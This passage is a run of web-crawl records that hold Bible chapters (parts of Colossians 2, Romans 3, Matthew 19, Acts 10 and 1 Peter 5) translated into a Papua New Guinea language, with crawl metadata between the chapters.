asirayánkwáráwáíráré amáparawairare kárákwiyena asirayámbá tímísa'a kasenkuí'a umái máyáamba pó'a évakarawai kampa'á simásiyuwesa tátoraavo sé'a kárákwiyoro.\n11 Yútaa-kwaasiya Áánútuna kwaásiya úne séta súra'a kárámaiya araa'éna kwéumpo keinárawa'a íma mirá kwéovo keinárawatavena Ísu Káráísiti maará uráiye. kentí sáwí-imayaao tátokaimpinkemba iyátinkena kwenane'á méaraapatinkaimba pó'a Áánútuna kwaásin-owe. 12 Ísu Káráísiti pukáisasa utámakaavo keinárawa'a nombó péráamba púwówasamo utámáráanteni'a kwéowe. Áánútu Káráísitimba pukáimpinkemba usásinankowa'a mindáyave'a sé'a árai'a asirayámbá tokéna mirá uráiye sé'a Káráísitiye tarúmai máyáantave'a usásintínkáanteni'a kwéiye. 13-14 ó'onkaa-kwaasi ombá sáwí'a kwée'a sáwí-imayaayave'o tirááíyave'o kwéon-ambo kwakáantave'a Áánútuna némpa'a máyómbanivo Áánútu Káráísitinte tarútinkena aúnái'a umátínkaraiye. kesáá Áánútuna ámáámba íma ísámai kawe'á kwéowananaya kesáámó sáwí'o ówándaya aúváívimba agaimarówana kentáásí sáwí-meyamba kentáásópa'a íma tíníntavena Ísu Káráísiti taaira'á pukáimba póna kesáámó sáwí'o ówándayaawe sáwí-imayaawe Áánútu maisiyuwénaya Ísu Káráísitimbo pukáimpinkembo usásinankaraintemba usásisinkenaya aúnái'a umásinkenaya kentáásí sáwí-imayaayavena íma imáyáa úmae kwéiyiye. 15 Ísu Káráísiti taaira'á pukáinka'a Sáátáánigona asirayáné kwená kwayó'nárawati asirayáné maisuwéna usáyaaitaraimba áái'o tiyésamo kwaásimo tínkankesamo tiyáántámbo taantembá Ísu Káráísiti miráumai amáparawai túranka'a usáyaaitaraiye.\n16 Ísu Káráísitimo keinárawatavenawe séna uráintave'a kampar-áímbá simásiyuwaavo sé'a kárákwiyoro. évakarawai évaka-tomba aambá aunésa anón-kanaa aambá aunésa kwíyómbo tayain-kánáá aambá aunésa saavaatirá'á aambá aunésa mirán-tántáá'á aambá áúnkaavo keinárawa'o mirán-tántáákómbó ímo kwaráíyasamo aaivimbó maitinkáíyamba íma ísáaro. 17 mintántáá'á aánomo paárinin-tantaakona awaamé'a umái agaráátínkaraimba mintántáákóná ááimba Ísu Káráísitima éna á'a paáruraiye.\n18 évakarawai kampa'á sésa kwaási úwoisan-tantaa'an-iye sésa kwíyómpaken-kwayo'narawati imáyáa mósá maré'a aamoí oró kampa'á kwésemba miwí táái íma ísáaro. miwí kaainkáámbó awánaan-aimba kwésimatimesa sésa mindáyaveta amáparawai usáyaaitaraumne kwésesa miwítí sáwí-imayaavinkemba kampar-ímáyáá kwéesa miwí túma maé kwéiyesa 19 Ísu Káráísiti kentáárá'ó kárákwiraiwaimba íma tátoraamba áúkaawe. a'nónkó amápar-auwawaaka'o kárákwiraisanamo ánúnkomo amápa-kura'o tátokaisanamo anómbo intembá Káráísiti kwená kwaásira'a kárákwimai tátokaisasa Áánútuna imáyáavinkemba anómba kwéovo minkámpá-kwáásí Káráísiti kentáárá'ó kárákwiraiwaimba íma tátoraamba áúkaawe. mindáyave'a miwí táái íma ísáaro.\nKáráísitinte tarútinkena aúnái'a umátínkarain-kwasai.\n20-21 Ísu Káráísitimo pukáintemba keinárawa'a kwemó uráinteni'o uráamba kwaántá-kwaasiti aambá kwégwarowana minánkó tátokompinkemba Káráísiti iyátínkaraiye. marapákén-kwáásí aambá áúmbakaan-tontavesa sésa íma né'a íma uwá'namai awáné'a íma táto'mai awánaaro kwésen-aimba nóra séra kwégwaraao. 22 mináímbá kwaásiti imáyáavinken-aimba marapákén-tántáá'á póna nánááomba úwoi násuwanaaowe. 23 mirán-áímbá kwésesa kwíyómpaken-kwayo'narawati imáyáa mósá marésa karuwaa'á kwéesa kampa'á sésa kwaási úwoisan-tantaa'an-iye sésa kentú-augwiyaamba toró sewasá évakarawai tuwánésa kampa'á sésa kawer-ímáyáágwáráwáín-owe sembánivo mirán-ámbá kwáráamba sáwí-imayaayavesamo tirááíyavesamo kwéomba íma kanaán-umai maisuwáínana ánásanivo úwoi kwaíkwai'a íníye. mindáyave'a íma kawer-ímáyáágwárá-kwáásín-owe seró.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/png.bible\/kze\/COL02.htm","date":"2023-02-03T19:05:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500074.73\/warc\/CC-MAIN-20230203185547-20230203215547-00540.warc.gz","language":"kze","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000028610229492}","num_words":545,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\n1 ímo ó'onkaavimban-ivo Yútaa-kwaasivimba nóran-kawe-tantaara paáruraiyo. túmo kárámaimo araa'énamo uráamba mindá nóran-kawe-tantaara paáruraiyo sembó 2 sísaa íya'o é'a anondá sé'a kawe-tántáá'á paáréna aiva'á Yútaa-kwaasi Áánútun-aaimo tátoranaaontavena simátímakaiye sénaumne. 3 simátímakaimbanivo évakarawai Áánútuntavesa íma imáyáa ésa kwenáái íma kwétaagwiyavowe. mirá kwéovo Áánútu íma mirá éna kwemó siráintemba kwéena simái asirámakaini'a kwéiye. 4 kwaási kampar-áímbá kwésevo Áánútu árair-aine su'mai kwésiye. Áánútuntavena simái aúváí-kwandaaivimba agaimaréna séna\nenááigo árair-aine su'mai isasá kwaási\nísaraawe. íma kanaán-umai aaivimbá mayankánááovo enááigo amápa-kwaasi\ntáái kwéusayaaitaiye\nagaimaréna siráiye.\n5 kesáámó sáwítaamo úndavinkemba Áánútuna kawe'-máyáí avora'á kwégwaintaveta sáwíta kwéunanaya Áánútu sáwí-meyamba símímba sáwí'a kwéiyeya íma seno. mirán-áímbá kwaásiti imáyáavinkemban-ivo íma miráyá seno. 6 Áánútumo ímo arupí umáímo ménaraankasi naaémba amáparawaimo máyáawaina ááintavena íma tísaa isinó.\n7 moórá-aimba ísáaro. kesáámó kampar-áímbó súndavinkemba Áánútuna árair-aimba avora'á paárisana kwenáwí'a mósá anómba kwéiyintaveta kesáámó sáwí'o kwéundayavenaya Áánútu aaivimbá maisínkáimba sáwí'a kwéiyeya íma seno. 8 mirán-kámpár-áímbó kwésemba mimpínkémbá sésa kesáámó sáwí'o kwéundaya mimpínkémbá kawe-tántáá'á paárínana Áánútu áwí'a iyíníye íma mirán-áímbá seró. évakarawai kesúwí'a sáwí'a umásinkanaaontavesa kentávésa kampa'á sésa mirán-áímbá kwésiye kwésevo Áánútu miwí aaivimbá maitinkéna arupí umái sáwí-meyamba timíníye.\namáparawai íma arupí umái máyáan-kwasai.\n9 kemá Póro mináímbá imáyáa é'a sé'a Áánútu aúranka'a íma maarán-iye. Yútaa-kwaasiya kawe-kwáásíyá únasaya ó'onkaa-kwaasi sáwí-kwaasi owémá íma mirán-ivo ké'naan-aimba sé'a sáwí-imayaago amáparawai tátokaiye kwésune. 10 mindáyavena Áánútun-aai aúváívimba agaimaréna séna\nÁánútu aúranka'a amáparawai íma arupí umái máyáawe. 11 ánivo amáparawai arupí ií-yántáá'á íma kawe'á umái kwéawanesa Áánútuwe maénáe íma kwésewe. 12 amáparawai Áánútumba tínaaemba umámesa sáwí-amba kwarésa kaé'náe'a ésa íma kawe'á kwéowe. 13 kwaásimo pu'máímo kaviraantembá miwí tááigo mirá kwéisasa kampa'á kwésimatiyuwaawana miwí tááigo kwaaivainkómó kwaásimo vaintembá kwéisasa 14 anómba simái sáwí'a umátinkesa 15 ááéma tínkamowasa púwówai mésa 16 kwénaaopa'a tí'a úni'a umái umbai-yántáá'á timésa 17 íma paru umátinkesa 18 Áánútu áároi íma inkaisésa ivátuwesa máyáawe\nagaimaréna siráiye.\n19 Áánútu amápa'-maravaken-kwaasiyavena ámáámba séna mináímbá kwáráaro siráimbanivo araaiséta amáparawaiya Áánútu aúranka'a sáwí'a éta súnda arupí umáíya máyaumneya íma árai'a kwésune. 20 Áánútumo siráin-amaamba kwáyáísata amáparawaiya íma árai'a séta amápar-amaamba kwégwaraundaya póna Áánútu kentááyávéna séna arupí umái máyáawe síníye sénaundaya kampar-áímbá sénaundayaawe. ámáámba kwéiseta sáwí'a uráumneya kwésundayaawe.\nÍsun-aaiyavai áraire sewáí Áánútu arupí umátínkáin-kwasai.\n21 Áánútu aúná-amba agaráásinkenaya Áánútu aúranka'o kwaásimo arupí kwéumatinkain-amba agaráásinkenaya kwemó siráin-amaamba íma imáyáa éna minámbá agaráásínkaraiye. mináíntávésa naaóvá'á Mósesiye Áánútun-aai simátímakowaiye minámbá paáriniye-aimba simátimesa agaimakáawe. 22 kwaási Ísu Káráísitavesa sésa árai'a kentáásí sáwí-imayaavinkemba iyásínkaraiye kwésewana miwíyávéna Áánútu séna arupí umái máyáawe kwésiye. Ísu Káráísitin-aaiyavesa áraire sésa kwenká'á agevamái máyáawai Áánútu arupí kwéumatinkaimba mimbórá-ámbá kwáyáiye. 23 amáparawai sáwí'a ésa Áánútumbo arááímo kwétaini'o umáímo ménaesamo ombá ívé'a íma miráumai máyáawana póna 24 Áánútu úwoi túwa'naa ena arumbá umátínkáísana Ísu Káráísiti miwítí sáwí-imayaagomo tátokaimpinkembo iyátinkena Áánútu aúranka'a arupí umátinkanintavena pukáiye. 25 Áánútu séna sáwí'o kwéom-beyamba maitiyuwáníntavena Ísu Káráísiti puwínana kwená naaemá kumíníye siráimba mináíntávéta séta árai'a mirá kwéiye kwésundayavenaya kentáásí sáwí-meyamba kwémaisiyuwaiye. ááémo sáwí'o uráamba Áánútu íma ááéma sáwí-meyamba tiména kwemá arupí kwéimba awánanaaontavena séna naaémba Ísu Káráísiti puwéna miwítí sáwí-meyamba maitiyuwáníye siráiye. 26 ívé'a Áánútu arupí kwéimba awánanaaontavena kwaásimo sáwí'o kwéontavena imáyáa éna maará kwéiye. Ísu Káráísiti miwítí sáwí-meyamba kwémaitiyuwain-aintavesa áraire kwésewai Áánútu kwenaúranka'a arupí kwéumatinkaiye.\n27 miráumai kesúya maé iyónaundaya kentáávímbá íma kwáyáiye. kentáásí kawe'-máyáíyávéna ímanivo Ísu Káráísitin-aaiyaveta áraire súndayavena mindáwe su'maiyavena Áánútu kwenaúranka'a arupí kwéumasinkaintaawe. miráumai kesúya maé iyónaundaya kentáávímbá íma kwáyáiye. 28 simátimunda árair-aimban-iye. Áánútuna ámáánta kwégwaraundayavenaya ímanivo kwenááiyaveta áraire súndayavenaya Áánútu kwenaúranka'a arupí kwéumasinkaintaawe. 29 íma Yútaa-kwaasiye su'mainovo ó'onkaa-kwaasigwara'a túwa'naa íníntavena Áánútu máyáiye. 30 mimbóráwáí Áánútu ména Yútaa-kwaasiya kwenaúranka'a arupí umásinkenaya ó'onkaa-kwaasigwara'a mirá kwéumatinkaiye. 31 kwenááiyaveta áraire séta kwenká'á agevamái máyaundayavenaya Áánútu arupí kwéumasinkaisata miráumai Áánútuna ámáámba íma tuwéta minámáánkóná ááimba awánéta kwégwaraumne.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/png.bible\/kze\/ROM03.htm","date":"2023-04-01T00:36:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949694.55\/warc\/CC-MAIN-20230401001704-20230401031704-00733.warc.gz","language":"kze","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000096559524536}","num_words":546,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\n1 Ísu mináyáátáár-áímbá simátímatuwena Káríri-ayampa'a tuwéna Yútiyaa-ayampa'a Yótáni-nonkona menávápár-áyámpá'á komáyowasa 2 sáwívarawai tóyo uwaná tí'o ún-kwaasi asóvamatinkaraiye.\n3 asóvamatinkowasa ámáán-kawaa-kwaasi sésa Ísumo sáwí-aimbo sínda isánáe sésa Ísunopa'a tésa sésa moórá-kwaasigo maanáíntáváíyá'i. ó'on-o'on-aintavaiya'i. awainínkómbá kanaarárá auwáníyo. mirámó énamo éna ámáán-aimba araaisíni. íya araaisíníyo suwaná 4 Ísu séna naaóvá'ó Mósesimo agaimakáin-aimba awánaraawe. maarán-áímbá agaimaréna séna Áánútu kwíyómba maramá taróruronka'a aaraigwárá kwaaigwárá'á taróruraiye. 5 tarórurena séna aaraigwárá kwaaigwárá'á tatóruraundayavesa tinóvowi tiyuwésa awaikóe awainínkóe tágárotamai mimbórá-túmá ma'mái kwémaewe Áánútu siráiye. 6 mindáyavesa awaikóe awainínkóe íma kae-kwáásíráámbá ésa mimbóráí'a kwéowe. Áánútu aarai-kwaaí moórái'a umátínkaraintavesa íma tasáéro Ísu súwasa 7 miwí sésa naaóvá'á Mósesi maará séna moóráwai awainínkómbá ai'mátuwaindawai aúváívimba agaimaréna séna kesuwainímbá ai'mátuwaumne séna agaimái amiíno siráiye. nóra séna mirán-áímbá siráiyo suwaná 8 Ísu séna kentíkwá'ná tirumbá makáamba pósa Áánútun-aai íma ísóntavena mindáyavena Mósesi minámáámbá siráimbanivo Áánútu kwíyómba maramá taróruronka'a íma mirá siráiye. 9 simátime'a sé'a moóráwaimo awainínkó íma moórá-kwaasigoe kwénaaisana awaikó ó'on-aintavena ai'mátuwenamo ó'on-inimbo kwémayaimba umóyámbá kwémayaiye Ísu siráiye.\n10 Ísu mináímbá simásuwena máyowasa kwená kwayó-kwáásí sésa aaraimó kwémayaamba sénda-aimba kwáyáinka'a pósa mirá kwéovo ímo aaraimó maésamo úwoimo kwémaemba kawe'á kwéowe suwaná 11 Ísu séna amáparawai sen-áímbá íma kawe'á umái ísáawasa aaraimó ímo mayánááontavesa Áánútu asirayámbá tímakaiwai mináímbá kwéisaawe. 12 évakarawai moórá-mora-aintavesa íma aaraí máyáawasa évakarawai tinóvowi sáwí-kwaasi tínkaraawai aaraí íma máyáawasa évakarawai túmo sáwí'o umátínkaraawai aaraí íma máyáawasa évakarawai Áánútu kwená kwaásimo kawááin-aimba isésa Áánútuntavesa imáyáa ésa aaraí íma kwémayaawe. kanaán-umai mirá ónaumnemo kwésewai mináímbá isánááowe Ísu siráiye.\nÍsu iyámpói kawe'á umátínkarain-kwasai.\nMááka 10:13-16, Árúku 18:15-17\n13 Ísu simátimuwasa évakarawai Ísu tátorena kawe'á umátinkena Áánútumpa'a námúnaa sínkwáe sésa iyámpói tí'maesa tuwasá kwená kwayó-kwáásí sésa tí'mae'a kóro suwaná 14 Ísu simátimena séna íma kóro sé'a tiyuwáíyasa kesópa'a iyámpói úwoi teró. miníyámpóímó kesópa'o tentembá Áánútu kwená kwaásimo kawááimba miráráán-umai kwégawaaimba iyámpóímo kesópa'o tí-amba íma ítátinkaaro séna 15 miníyámpóírá'á ayáámba tátorena túwa'naa umai námúnaa simásuwena tíyukaiye.\nóísankwara-kwaasigona kwaasái.\nMááka 10:17-31, Árúku 18:18-30\n16 tiyuwówana moóráwai ívé-kwaasigo Ísunopa'a téna séna anóndakoo nóran-kawera umáíya aúnái'a umái kwíyómpa'a maí'maira ónaumno súwana 17 Ísu séna nóra se kawe'-máyáíyáváíyá sísaa oónó. mimbóráwáí Áánútu kweyáá kawe'ná'án-iye. aúnái'a úmai maí'mai'a ónáe sémo e Áánútuna ámáámba kawe'á umái kwaraaó súwana 18 mindákó áísaa ena séna nóin-amaana kwaránaumno súwana Ísu séna tínkamiyasamo puwónááoni'a íma uwó. íma aarai-úmóyámbá uwó. íma umóyámbá mayaaó. kampar-áímbá íma simátinkaao. 19 kentinóvowi túwí'a anómba uwó. esáváí-ímáyáámó óndantemba ená kwaásiti imáyáagwara'a uwó. miráumai-amaamba kwaraaó Ísu súwana 20 mindákó séna minámáámbá kwa'maé'a kwéiyumpo nóran-amaankona íma kawe'á kwéuno súwana 21 Ísu séna amápa-tantaa'o kanaamó émo e ená náaindaamba ó'on-kwaasi kwétime óntamba mairé ímo makéwai tímatuwenana ená kawe'-méyámbá Áánútu kwíyómpa'a ankáníye. tímatuwemo e kesínaaemba kwaráníyone súwana 22 mináímbá iséna sáwíva'-naaindaamba makóntavena anón-imayaa úwana arunkó sáwí'a kwéuwana kuráiye.\n23 kúwana Ísu kwená kwayó-kwáásíyávéna séna árai'a simátime'a sé'a sáwívar-oisambo makén-kwaasi Áánútumo kwená kwaásimo kawááipa'a kwíyamba umbaí táníye. 24 moórá-poigo áwí'a káámeri mimpóígó kwaigóná avaapimbá íma kanaán-umai kóveraniye. káámeri-poigomo kwaigóná avaapimbó kóverainkakai sáwívar-oisamba makén-kwaasi Áánútumo kawááipa'a kosinó Ísu súwasa 25 kwená kwayó-kwáásí mináímbá isésa táátavesa ésa sésa umbaí taintávésa nóran-kwaasiya Áánútumo kawááipa'a ménaaoo suwaná 26 Ísu tuwánéna séna kwaási miwítí mayáínéí íma meéyámbaresa kónááovo Áánútu amápa-tantaa'a úwoi kanaán-umai kwéiye súwana 27 Pítaa séna isaaó. kentáásí amápa-tantaa'a tuwéta enánaaemba kwégwaraumpo nóram-beyana mayánaumno súwana 28 Ísu séna árai'a simátime'a sé'a Áánútu amápa-tantaa'a aúnái'a úmaraindara'a kemá kwaási úrandako kumpaáruraundawai ságayankwarawai mé'a kárákwiyona'a keinárawa'a sísamaivakemba kae'á kumbaimái-kwaasi kesínaaemba kwégwaraawai Ísareri-kwaasi mayáíyávé'a tísaa ónááowe. Ísareri sísamaivakemba kae'á kumbaimái tínkaraiwai-andarakewai tísaa ónááowe. 29 kentávésa imáyáa ésa Áánútun-aai kosimátimenaaontavesa naambáru'a tuwésa tuwaaísái tiyuwésa tívá'maa'a tiyuwésa tímánaa'maa'a tiyuwésa tinóvowi tiyuwésa táánimbaa'a tiyuwésa tiyáámúmbaa'a tiyuwésa miwítí maramá túwáawaina anondáma túwáan-tantaa'a mirán-tántáá'á sáwíva'a mémaesa aúnái'a umái kwíyómpa'a maí'mai'a ónááowe. 30 ívé'a évaka'a aivakéwáí aáno tínaaeni'a íyasa ívé'a évaka'a tínaaenkewai aáno aivarí'a ónááowe Ísu siráiye.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/png.bible\/kze\/MAT19.htm","date":"2023-03-27T17:39:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948673.1\/warc\/CC-MAIN-20230327154814-20230327184814-00242.warc.gz","language":"kze","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000004768371582}","num_words":562,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.256,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nPítaa Kóníríyasina naaúmpa'a iráin-kwasai.\n1 Sísáriyaa-naopa'a moóráwai áwí'a Kóníríyasi ména Árómáavakemba sáwívar-i-kwaasira'a 100 i-kwaasira'a kárákwirowai máyowasa miní-kwáásí túwí'a Ítári-i-kwaasiye kwésesa uwaná\n2 Kóníríyasi Áánútun-aaiyavena asiramái ména kwená akúnté Áánútuna imáyáa éna áwí'a mósá maréna Yútaa-kwaasimo ímo óísambo makón-kwaasi kwétuwa'naa-ena Áánútumpa'a námúnaa símae iyúmba\n3 moórá-tawai enónka'a námúnaa kwésuwana Áánútuna kwayó'ná'á kwíyómpakewai aúranka'a paárúwana kawe'á umái awánówana séna Kóníríyasiyo súwana\n4 áá'a kówana aúramba kararéna séna Ísóigoo nóran-aina simásiminiyewa seénó súwana emó námúnaamo séndawai kwaásimo túwa'naa óndawai Áánútu aúranka'a kawe'á óndayavai Áánútu ená imáyáa imbá pó\n5 ená kwaási ti'márénasa Yópaa-naopa'a moóráwai áwí'a Sáímoni Pítaamba koaíráaro.\n6 kwemá araámáó Sáímonina naaúmpa'a ména minkwáásígó kwaan-áúwarasi-mayaimo máyáin-kwaasigona naaúmpa'a uwí-nónkóná awámpá'-náúmpákémbá koaíráaro\n7 simásuwena áúyokuwana Kóníríyasi kwená mayáí máyón-kwaasivinkemba kae-kwáyó-kwáásíráínte moórá-i-kwaasi Áánútuna imáyáa mósá marówainte miráumai-kwaasirau tááyowasa\n8 tuwaná kwíyómpakewaimo simámakon-aimba simátimena séna miráumai Yópaa-naopakemba koaíráaro séna ti'mákaiye.\n9 ti'marówasa aampa'á kógwaesa kweémesa Yópaa-naopa'a egwaa'á kumbá kwáyá'wái Pítaama naan-ávúmayaapa'a uména Áánútumpa'a námúnaa kwésuwana\n10 áái ankówana toómbá nánáe súwasa toómbá agáyómba kaainkáání'a umái awánómba\n11 kwíyómba taaínkaar-úwana mimpínkémbá anón-ampanta éíyain-araaira'a tátoresa túwówana kuména marapá'á kumúwana awánómba\n12 minámpántávímbá kwaí-kwaamba póíma iraankavayaambá aváá'-númámá ó'on-o'on-kwai-kwaamba máyowana\n13 aaigówé su'mai séna Pítaao usásinke tuvú'mái agandaaó súwana\n14 Pítaa séna Ísóigoo ímanivo kentáásí ámáámba Yútaa-kwaasiya mirán-tántáá'á aambá áúmbakaawata pó'a íma kwénaumne súwana\n15 minááígówé su'mai ókwara'a séna Áánútu kawe-tántááré siráin-tantaatavai íma aambá áúmbakaawe siyó súwana\n16 kaumborá'á kaainkáámbá awánówana kwíyómpa'a minámpántámá iráiye.\n17 iyúwana Pítaa minkááínkáán-áínkóná ááimba nóra aainá'iyo súmba Kóníríyasimo ti'marón-kwaasi Sáímonina naambá taawánésa ontará'á tamésa\n18 tááyamai taáísaa esa sésa Sáímoni Pítaa maandáúmpárá kwááyu máyáiyo suwaná\n19 Pítaa minkááínkáán-áínkóná ááimba avakáá-úwana Áánútun-amankoma séna kaumbo-kwáásí embá avakáá-úmaesa kwétevo\n20 usásinke kumuwó. kemá ti'maráúnasa tentáváí íma kaer-ímáyáá e miwísé úwoi kwaaó súwana\n21 Pítaa kuména minkwáásíyávéna séna kwésivakaa-on-kwaasi úmpo nóintavera kwésivakaao súwasa\n22 kentáásí kawáánákó áwí'a Kóníríyasi si'máráísata enópata túne. kwemá kawe-kwáásí Áánútuna imáyáa éna áwí'a mósá máráísasa pósa Yútaa-kwaasi amápa'a kwentávésa kawe-kwáásíyé kwésewe. moóráwai Áánútuna kwayó'ná'á kwíyómpakewai kusimámena séna ti'márénasa Pítaamba Yópaa-naopakemba koaíréwana enópa'a téna aaí tasína isaaó sisatá túne suwaná\n23 Pítaa tí'maena naaúmpa'a tinkówasa kwáúmba aaváyaavimba Pítaa usásinena miwísé kuráiye.\nmiwísé kúwasa Yópaa-naopakemba Ísuna aampa'á kun-kwáásí évaka'a aúyoresa\n24 aampa'á kógwaesa kweémesa Sísáriyaa-naopa'a kumbá Kóníríyasi kwenamááraa kwená kwaásiye tááyowasa tayorupamái mésa Pítaamba amu'makówana\n25 Pítaa Kóníríyasina naambó kwáyonka'a ontará'á kúwana Kóníríyasi aamoí éna anóndakoman-iye séna aísamaivimba kumbaúwana\n26 Pítaa séna emó óndanten-kwaasi úmpo usásinaao séna usásinakena\n27 aaí simáma'maena Kóníríyasiye naaúmpa'a iyúmba sáwíva-kwaasi torupamái máyómba utuwánéna\n28 séna kentáásí ámáámba ísaraawe. Yútaa-kwaasiya ó'onkaa-kwaasiye íma moórárata tágárotamaiya kwémaumne. miwítí naaúmpata íya kwénaaundarata Áánútu agaráásinkena amápa-kwaasi íma sáwí-kwaasin-owe siráisa'a awáraunda póta íma sáwí-kwaasiye sénaunda pó'a úwoi kawe'á umái ménaumne.\n29 mindáyavai sááyaamba íma a'áo súnda túmpo nóintavaiya sááyaraao Pítaa súwana\n30 Kóníríyasi séna éíyain-do'waamba kwaé'a ívékaamba eénáínka'a kesí naaúmpa'a námúnaa súnana avekáámbá moóráwai ságayan-unankwatoi umásorena súranka'a kumbaéna\n31 séna Kóníríyasiyo emó námúnaamo sémo kwaási túwa'naa ema Áánútu aúranka'a kawe'á óndayavena Áánútu ená imáyáa imbá pó\n32 ti'márénasa Yópaa-naopa'a moóráwai áwí'a Sáímoni Pítaamba koaíráaro. araámáó Sáímonina naaúmpa'a máyáiye. kwaan-áúwarasi-mayaimo máyáin-kwaasigona naaúmpakemba uwí-nónkóná awámpá'-náúmpákémbá koaíráaro súwa'a\n33 avekáán-umai ti'maráúnasa embá koaíráawa kawe'á umái téne. kesáá Áánútu aúranka'a torupamái méta Ísóigo simámakain-aimba simásiminkwae séta amu'makáunaya kwétene Kóníríyasi siráiye.\nPítaa simátímakain-kwasai.\n34 Kóníríyasi simásuwowana Pítaa séna ívé'a kwéisaumne. árai'a Áánútu íma Yútaa-kwaasiye su'mai kwégarakwiyivo\n35 amápa'-mapaken-kwaasi Áánútu aúranka'a arupí umái kawe'á umái máyáawai Áánútu miwí aamoí kwéumatinkaiye.\n36 Áánútu Ísu Káráísitimba ai'marówana Ísareri-kwaasiyavai áséi-kwasai simátímakaimba á'a ísaraawe. Ísu Káráísiti amápa-kwaasiti Ísóigoman-iye. mináséí-kwásáíyávésa árairemo síyawai tirumbá kawe'á umái kwempa'á ménaaomba\n37 ke ísaraawe. Yóni simátimena séna kentí sáwí-imayaa tuwé'a Áánútumpa'a té'a nombá peránááowe siráimba Ísun-aai aiva'á Káríri-ayampakemba kwétena Yútiyaa-marava'a kóyáwé uráiye.\n38 Ísu Násáretivakewain-aai ísaraawe. Áánútu kwenamambá Ísumba ámakowana kwempímbá anómba umánkowana Áánútu asirayámbá aména kwesé méraintavena naaó'-nao'a kawe'-máyáí kóyáwé éna Sáátáánigo tátorain-kwaasi kawe'á umátínkáva'a kuráiye.\n39 Yútiyaa-marava'a Yérúsaremu-naopa'a mayáímá mairáimba awánaraundayaawe. kwembá taaira'á aíyayaampimba tuvúsúmarowana puwéna\n40 kaumbo-táwai maisuwówana Áánútu Ísumba pukáimpinkemba usásinankowana paárúnta kesúrandeiya awáraumpo\n41 íma amápa-kwaasi awánaraawe. Áánútu simátíméromo siráinta Ísunta awánéta pukáimpinkemba usásinonka'a toómbá nombá kweséya naráumne.\n42 Ísu asiramái simásimena séna Áánútu imáyáa siména pukén-kwaasigwara túvaren-kwaasigwara'a aaivimbá maitinkáníyone siyé simátíméro Ísu siráiye.\n43 naaóvá'á Áánútun-aai simátímakowai Ísun-aai simátimesa sésa kwenááiyavesa áraire sésa kwesé aráápamai maíyawai Ísuna asirayánká'á Áánútu miwítí sáwí-imayaa maitiyuwáníye naaóvá'á siráawe Pítaa siráiye.\n44 Pítaa mináímbá kwésimatimuwana kwéison-kwaasivimba Áánútun-amankoma minámápáráwáívímbá kuména\n45-46 Áánútun-amankoma kumbaúwasa ó'on-o'on-aimpinkemba Áánútu áwí'a mósá márówasa Yútaa-kwaasi Ísuna aampa'á kun-kwáásí Pítaae Yópaavakemba tuwáíyé táátavai ésa sésa Áánútu ó'onkaa-kwaasigwara'a kwenamambá úwoi kwétimiye sésa táátavai uwaná Pítaa séna\n47 Áánútu kwenamantá símakaintenta miwígwárá'á kwétimimba póta nombá peránááomba íma aambá aunónaumpo úwoi nombá peránááovo\n48 pétinkaaro súwasa Ísu Káráísitintavesa ísámai nombá pétinkowasa Pítaantavesa sésa kaumbo-káé'-no'waamba keséya kwaíníyone suwaná mirá uráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC10.html","date":"2023-09-27T07:51:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510284.49\/warc\/CC-MAIN-20230927071345-20230927101345-00688.warc.gz","language":"kze","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999991655349731}","num_words":698,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nÁánútuna kwaásira'a kárákwiyoro siráin-kwasai.\n1 kemá Ísóigona kwaásira'a kárákwiraundawai úna'a keinárawate Ísóigona kwaásiti anón-kwaasi simátíménda ísáaro. Ísu Káráísitimbo áí'o úni'o umánkaraamba kesúrandei awáné'a kwemó ságayankwara'o kumíndara'a miságáyámpímbá ménaumpo\n2 monor-ánón-kwáásí simátíménda ísáaro. sipisípira'o kárákwiraawaimo kawe'ó ontembá miráráán-umai Áánútumo kwená kwaásimo tímakaiwaira'a kárákwiyoro. íma kárákwiyonae síyampinkembo kárákwiye'a Áánútumba arááíma táíndai'a umái kárákwiyoro. óntamba mayánáe-imayaa íma é'a túwa'naa ónáe-imayaa é'a mimbáyáírá'á kárákwiyoro.\n3 Áánútumo tímakain-kwaasira'a kárákwiyomba íma móruna tiyuwé'a kawe'ó umáímo mémba tuwánésa keinárawa'o ontembá mirá ónááowe.\n4 aiva'ó kárákwiraiwaimo kwíyómpakembo kumíndara'a keinárawa'a usáyaaitaraawaiti ó'oran-kawe'-meyamba timínana íma ánásena kwaíkwai'a íníye.\n5 ívé-kwaasi kentí anón-kwaasi táái ísáaro. amáparawai kentúma íma maimaé iyé'a moórá-morawai túwa'naa umai máéro. mindáyavena Áánútun-aai aúváívimba agaimaréna séna\nÁánútu kentúmo maimaé kwéiyowai kwétuwentayuwaivo kwenaísamaivimba kwémaewai kwétiravayaiye\nagaimaréna 